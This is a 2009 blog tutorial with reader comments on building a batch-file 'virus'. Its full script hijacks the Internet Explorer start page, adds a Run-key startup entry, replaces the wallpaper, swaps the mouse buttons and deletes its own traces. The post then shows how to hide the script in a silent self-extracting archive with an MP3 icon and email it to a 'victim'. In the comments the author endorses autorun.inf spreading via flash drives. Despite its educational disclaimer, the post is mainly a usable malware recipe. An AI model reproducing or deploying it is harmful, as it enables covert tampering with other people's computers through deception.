PC-Gyaan

Make your own batch file virus

Posted on May 18, 2009 by Aijaz
<< Read this newer post on making batch file viruses, loads of new tricks on batch virus programming and tips on how to remove them >> (http://pcgyaan.wordpress.com/2009/10/28/makevirusii/)

It's always been this way that we fellows be the good guys and save the day fighting malware threats… But as they say, you need to think like a criminal to catch one! And so we do the same, to understand how a malware works, how does it gains access, gains control, we will our self make a batch file based virus. A little knowledge of programming, just to extent how we do it, and knowledge of windows registry is a prerequisite.

Batch files, characterised by their .bat extension, are files containing a sequence of DOS commands that gets executed when the batch file is run. This allows you to make simple programs that perform simple tasks under limitations of DOS shell. Though higher level languages like BASIC, PASCAL and C interacts with system on lower level, batch file processing is a good start to understand malware.

The kind of malware that we are going to learn to make is one that will perform a simple task of changing desktop wallpaper, interchanging the left and right mouse keys, changing start page of internet explorer(6), and make a start-up entry so that it starts every time system starts. Though this sounds like a simple task, automation of this procedure such that it works on a single wrong click by user and runs all tasks without any confirmation and hidden is a tough job when started from scratch.

The components of the virus will be a main executable file, under cover of some attractive icon, which on execution extracts in background to a batch file and the wallpaper, then runs the batch file.

Before code, let's learn a few basics, first on creation on batch files. These aren't any special files created by some special applications. They are simple notepad files, where in code is written and then its extension changed to **.bat**. They run simple tasks like MOVE, COPY, RENAME etc , a few moderate tasks like changing file attributes (i.e. making a file hidden, giving system attribute or removing the attributes) and a few complex tasks like altering a system registry without user intermission. The main draw back in a batch file is that it doesn't remain active in memory (though we can make it by some loop), it just performs the stated tasks and shuts down. Hence, it can act as a trigger, and not the process itself.

Now, let's learn a few commands of batch files. Though a basic knowledge of DOS is crucial, if not, you can still follow what's going on. Starting with a simple rename command, the syntax is-

RENAME [Drive]: [path] filename1 filename2

Example: *RENAME C:\documents and settings\aijaz.txt gyaan.dat*

Hence we see we can change the extension of file as well. If the path and drive of file aren't specified, it is assumed that the file is in the current directory where from CMD is running.

Example: *RENAME aijaz.txt gyaan.dat*

This command searches a file name aijaz.txt in current directory and renames it to gyaan.dat.

Coming to MOVE command, it moves the file from one path to another. It is like cut and paste. The syntax is-

MOVE [/Y |/-Y] [drive] [path] filename destination

The /Y attribute assigned allows CMD to overwrite files without confirmation, hence maintaining cover from user.

Example: *MOVE /Y C:\aijaz.txt D:\*

This moves the file aijaz.txt to drive D: . While moving a file, if source path isn't mentioned, then it is assumed that the file is in current directory. But destination path is mandatory.

We use the move command to change the wallpaper. The wall paper once set, is converted to a bitmap image and is then moved to the directory–

C:\Documents and settings\"user name"\local settings\application data\Microsoft

But the windows directory may be different drive like D:, E: and even the user name isn't known. This makes it not suitable to mention a specific path in our code. We use system parameters to identify windows drive and user profile directory. The command – ***%userprofile%*** returns the path of the location highlighted in above command. To give path in CMD using system parameters, we need to write path in quotation marks. The command to change wallpaper becomes-

MOVE /y Wallpaper1.bmp "%USERPROFILE%\Local Settings\Application Data\Microsoft"

This copies the wallpaper from current directory to the location where wallpaper is stored.

Note: *It is to be kept in mind that windows actually use only uncompressed bitmap images as wallpapers. Whenever we set an image as wallpaper, it is converted to bitmap and then stored at above mentioned location in user profile with name wallpaper1, hence the reason. Thus, the wallpaper we use here should already be a bitmap image, use an image editing tool like Irfanview which does a good job at conversion to bitmap.*

Once the wallpaper has been replaced, the system needs to be updated for change to take place on desktop. This is done using the command-

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

After the execution of batch file, it is desired that it isn't available to host PC that he may open it and view the code, which discloses the location of our batch virus and also the registry key we have added. This is done by simply deleting the files.

Del /F /Q /A:SHR filename

/F forces deletion of read only files, /Q suppresses the confirmation to delete, /A deletes files based on given attributes. S- System, H- Hidden, R- Read only.

Now coming to editing registry, there are two methods of editing a key, first by making a .REG file using batch print tool to write registry keys in a file and later appending them to registry. But this method adds a couple of more lines to our code. Hence we prefer the second method of editing registry directly via command line using REG command.

The syntax to add a key to registry is-

REG ADD *main key*/v *Sub key* /t *data type* /d *value* /f

The /f parameters enables editing a key without confirmation from user. Our intention is to add a start-up entry in registry such that our code gets executed every time windows logs on. Hence the wallpaper is changed again, making the innocent user panic! The actual key we use is-

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\force.exe /f

The above command writes a start-up key which makes the file pointed by the key run every time windows start. We use %windir% parameter to make sure that no error is encountered in case OS is installed on some other drive.

The point to be noticed here is that the same technique is used by malware to make sure they remain active in memory. The first thing to be done having ended a malicious code execution is to terminate its start-up mechanism. Refer the post ***Eradicate malware***.

Similarly to change the start page of internet explorer (tested on IE 6), the registry key is-

```
REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ /d http://pcgyaan.wordpress.com (http://pcgyaan.wordpress.com) /f
```

Since IE 6 stores the default start page in registry key, it is very vulnerable to this simple attack. I am still working on changing start page of Mozilla Firefox.

Now to add a little more insult to injury, how about tying down our victim's right arm and make him struggle with his left? We gonna switch the right and left keys of our mouse, making our victim panic even more! Here is the command….

```
RUNDLL32.exe USER32.DLL,SwapMouseButton
```

Having learned a few tricks of trade, let's put down the final batch file code. Open a notepad file and key down this script….

```
@ECHO OFF

REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ /d http://pcgyaan.wordpress.com (http://pcgyaan.wordpress.com) /f

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\force.exe /f

copy /y Wallpaper1.bmp  ”%USERPROFILE%\Local Settings\Application Data\Microsoft”

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

RUNDLL32.exe USER32.DLL,SwapMouseButton

rename song.exe  force.exe

move /y force.exe “%windir%”

del /Q force.bat

del /Q wallpaper.bmp
```

Save the file and change its extension to **.bat.** This is the core virus file. Now pick up a photo of our victim and edit it so that it will annoy him the most! This can be simply be done by opening the file in note pad and making it funny or if you how to, edit it in Photoshop. Or sites like photo funaic can be used to spoil the photo. Usually these photos are JPEG format. As mentioned earlier, we need a bitmap image. Convert it to bitmap using an image editing tool, preferably Irfanview since it preserves the quality of photo. Rename this photo to wallpaper1.

It's quite obvious that nobody will click a suspicious looking batch file, thanks to my previous posts! The second task is to pack our batch file and wallpaper into a single file and change its icon, to mask it, so that user will be compelled to open it. The file can be made to look like a folder, or an mp3 file or a word file or anything. What you need is WinRAR and another software called IconFX.

Install IconFX and run it. In file menu, go to extract icons. Browse for shell32.dll file located in windows\system32 directory and extract and save icon of folder. You can also use the snap tool of iconFX and take snap of files to make an **.ico** icon file. Here we will name our packed file as song and select icon as an mp3 file icon. Just take snap of mp3 file, preferably windows media player icon. Save the icon at some location.

1. Install WinRAR on your PC. Select the two files, batch file and bitmap wallpaper by holding Ctrl key, right click and select ***add to archive*** option.
2. In the opened window, click **Create SFX archive**.
3. Go to **Advanced tab** and **SFX options** in it. In ***path to extract***, select ***create in current folder***. In ***setup program*** section, in ***Run after extract***, add name as ***force.bat***.
4. In **Modes** tab, under ***silent mode*** section, select ***hide all***.
5. In **update** tab, in ***overwrite section***, select ***overwrite all files***.
6. In **text and icon** tab, under ***Customize SFX logo and icon***, in ***Load SFX icon from file***, browse and set icon as MP3 icon. Click OK and compress the files. You will get a single .exe file which has an icon of mp3 file. Let's rename this file as song.

Note: The names force.bat and song.exe must not be changed, since they are referred by those names in batch code.

Now we have a file with name song, having an mp3 icon, quite innocent looking but having really naughty intensions! But the problem here is that if we mail it as it is, either clients like Yahoo doesn't allow attaching **.exe** files, also when victim downloads the file, its extension is also shown, exposing our plot. Hence, in case of mailing this virus, compress it to a simple **.RAR** file and mail it. The victim will extract it, and then see a file with name song and icon of mp3. In curiosity, he will open it and our job is done!!

Though I am still working on making better ones, but I would like to end this post with a message that this was just for a little fun and to develop an understanding how malware works. Let's not drift towards the wrong side of society!

<< Read this newer post on making batch file viruses, loads of new tricks on batch virus programming and tips on how to remove them >> (http://pcgyaan.wordpress.com/2009/10/28/makevirusii/)

Filed under: Scripting Tagged: | make own batch viAbout these ads (http://en.wordpress.com/about-

« Windows Genuine Advantage Enter the torrents »these-ads/)

16 Responses

digilevi, on June 26, 2009 at 2:13 am said:
hi pcgyaan,

so you would save this batch file as force.bat?can i name it as system.bat?and rename the song.exe to system.exe also?tnx

you can email me.

Reply

Aijaz, on June 26, 2009 at 5:21 am said:
You can…. but names are also to be modified in code of batch too, so as to move them… just take care there…
else a little more work and you can make a name independent virus…
Gona post another article,a little more advanced viruses this time…

Reply

digilevi, on June 26, 2009 at 2:57 am said:
can i also make it autoexecute on autorun.inf?

Reply

Aijaz, on June 26, 2009 at 5:24 am said:
Yes …. Just put the main virus file in a flash drive and create an autorun.inf file to auto run the main .exe/ .bat file … It will work wonders …

Gona write shortly on how to make a batch virus that copies and spread through flash drives ….

Just use loops to make virus stay active in memory, a VBS to make it invisible…

Reply

Saurav, on August 13, 2009 at 4:47 am said:
Can u send me the way to make simple antivirus in batch file. Please help me. Thanks!

Reply

Aijaz, on August 13, 2009 at 11:56 am said:

Hi Saurav ! I appreciate your thought of making an antivirus using batch file in DOS … But we have to stick to limitations of DOS shell … We cant make a antivirus in batch that can detect viruses based on definition or content … We have to stick to standard names rather than definitions … But it can still be little effective … Like we can make a batch file scan the entire HDD for exe files with name NEW FOLDER.EXE and delete them all … But if the same virus has a different name, it wont help … We can make registry restore tools in batch files to combat malware … Hence, if we know where and what files a malware is making, we can make a tool that can delete them and also remove any start up entries from registry, but rememer, you should already be knowing where and by what names the files and registry entries are present.

Hope it helps. Contact me if you need more help. Start off with a cmd window and experiment. You will learn that way and this is what you will need to code things.

Contact on – free666soul@yahoo.com

Reply

john, on November 11, 2009 at 3:07 am said:

hi..i have lots of problem bout my computer..
can u make a batch file that deletes all known viruses or if not all.. the one that can be deleted using batch file..?
one more.. how come you know all this stuff?? can you give me a tip of what topic u studied?? or books that u have read.. i want to learn too.. tnx..

Reply

Aijaz, on November 11, 2009 at 11:00 am said:

Hi ! There are viruses that can be removed using batch files, provided you know what virus it is, and you know all and where it has its files and registry keys. This is really a interesting job, tedious though, but not worth it until the virus isn't being caught by normal antiviruses. In your case, I advice a scan with Malwarebytes. Once finished, just run RatsCheddar tool to fix policies. Than once done, run a HijackThis scan and send me the log. I will go through it and send you, if required, a batch file to fix the remaining issues.
What all I know comes from my experiences with my PC, since at that times I didn't have internet, and there was no one to help and guide. Now that I have it, I am using it to expand my knowledge, and help other people out 🙂 .

Reply

john, on November 12, 2009 at 6:28 am said:

ok sir.. i will do that later.tnx.. i have another problem.. my friends USB is infected by virus. i tried to delete it using attrib in cmd..but it says access denied.. i also tried to disable autorun and try to delete it but still.. it cant be deleted.. have you xperience this problem?? pls help..

Reply

Aijaz, on November 12, 2009 at 7:54 am said:

When you aren't able to remove an infected file from your pen drive, this imply implies that your PC is infected now too. I make the same advise as before, a scan with Malwarebytes. Install it, update and run a complete full scan, while keeping pen drive plugged in and including the pen drive in the scan. There are ways you can remove them manually, but it is long and tedious. You can read my post on **eradicate malware** to learn more anyhow. And for the learning zeal, start off by experimenting, read my post, try to put it to practice in your case. You can read tech magazines, like I prefer Chip. Since you have internet, explore tech sites .. And do new things with your PC. Its really fun ..!!

Reply

benk, on August 18, 2010 at 5:33 pm said:

hey I edited the virus and tried to run it on my machine can u tell me how to delete it or remove it?

Reply

Peat, on November 27, 2012 at 8:55 am said:

Is there a possible way to reverse any and all of these settings of the batch we created with your codes?

Reply

Aijaz, on December 5, 2012 at 4:52 pm said:

Yes it is … The batch file simply runs command line scripts to change windows settings, which can be undo by simply running the command to revert the change, or manually through settings. I would suggest you first figure out how to revert before you start experimenting 😉

Reply

Dakota Rutherford, on December 1, 2012 at 4:53 am said:

I have a problem I copied over the batch file to notepad saved it. When I opened it, it flashed the black screen, and now the left and right clickers on my mouse are backwards.

Reply

Aijaz, on December 5, 2012 at 4:59 pm said:

You can revert the change using the “Mouse” icon on the Windows Control Panel. Click the “Buttons” tab at the top of the “Mouse” window, and then click to remove the check in the “Switch primary and secondary buttons” box.

Reply

Meet, on January 4, 2013 at 3:01 pm said:
Good post…………

Just want to share tip to ignore such viruses:

- Uncheck “Hide extensions for known file type” under “folder options” under “view” tab.

Regards,

Reply

Blog at WordPress.com. The Digg 3 Column Theme.